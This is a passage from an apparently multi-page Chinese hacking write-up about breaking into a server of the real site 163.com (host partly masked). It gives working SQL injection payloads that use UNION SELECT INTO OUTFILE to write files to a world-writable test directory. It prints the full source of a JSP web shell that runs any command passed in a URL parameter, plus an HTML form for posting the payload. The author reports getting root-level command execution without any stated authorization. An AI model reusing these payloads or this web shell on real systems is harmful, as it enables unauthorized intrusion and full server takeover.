到这里应该停下来想想了!听了会周杰伦的歌,忽然想到,Linux服务器本身是很安全的,但是不知道会不会存在人为的安全漏洞呢?我在一些其他的大点的网站上经常看到除了一些常用的目录之外,管理员还设置了test目录方便其他管理员调试脚本,并且这个目录的权限通常是设置成777的,也就是说Everyone可读可写的,如果存在这样的目录的话就......马上去网站上提交:
http://XXX.163.com/test/
404不存在
http://XXX.163.com/wap/test/
403 Forbidden,哈哈,真是CS暴头的感觉,居然存在啊!马上去提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 into outfile '/home/project/web163/web/test/jnc.txt'/*
等到返回错误的时候去访问http://XXX.163.com/wap/test/jnc.txt如图12

,哈哈,存在啊!看来真让我发现一个人为的安全隐患啊!这就是经验了!好了,可以导出为txt文件,那么导出成Php文件如何呢?去写了一个一句话木马导出成php文件,访问这个Php文件居然提示下载,看来web目录只支持jsp后缀的啦,那么我们只能导出成jsp文件了!于是马上去找jsp后门,找来找去找到个最短的如下:
<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>
就是能执行个命令,执行形式是在Url里访问jnc.jsp?cmd=命令,因为我们是用into outfile导文件并且是在union查询里用的,所以要导出的内容必须在union的最后面,否则是不能得到我们结果的哦,在导之前我们还要将jsp 的语句写到一行,不影响jsp的执行但是方便我们导出嘛!再看看,发现字符好象太长,Get可能满足不了要求,于是干脆自己写个Html吧!内容如下:
<form action=http://XXX.163.com/wap/content.jsp method=post>
<input name=id type=text size=1000>
<input type=submit>
</form>
然后提交栏里写上:
120 and 1=2 union select 1,2,3,4,5,6,7,8,9,'写在一行的木马语句' into outfile '/home/project/web163/web/test/jnc.jsp'/*,如图13

,点提交之后我们去test目录看看,哈哈,我们的木马真的存在啦!提交:
http://XXX.163.com/wap/test/jsp3.jsp?cmd=id
返回结果如图14
,哈哈居然是用Root启动的,权限是最大的啦!省得我们提权了!到此,对163.com的一次安全检测结束了!
通过上面的例子我们可以看到,尽管是小小的一个参数没有过滤,加上一些其他的安全原因,导致的结果可能就是服务器的沦陷,不仅仅是163.com的管理员要注意这个,希望所有的管理员都注意这个。 上一页 [1] [2] [3] [4]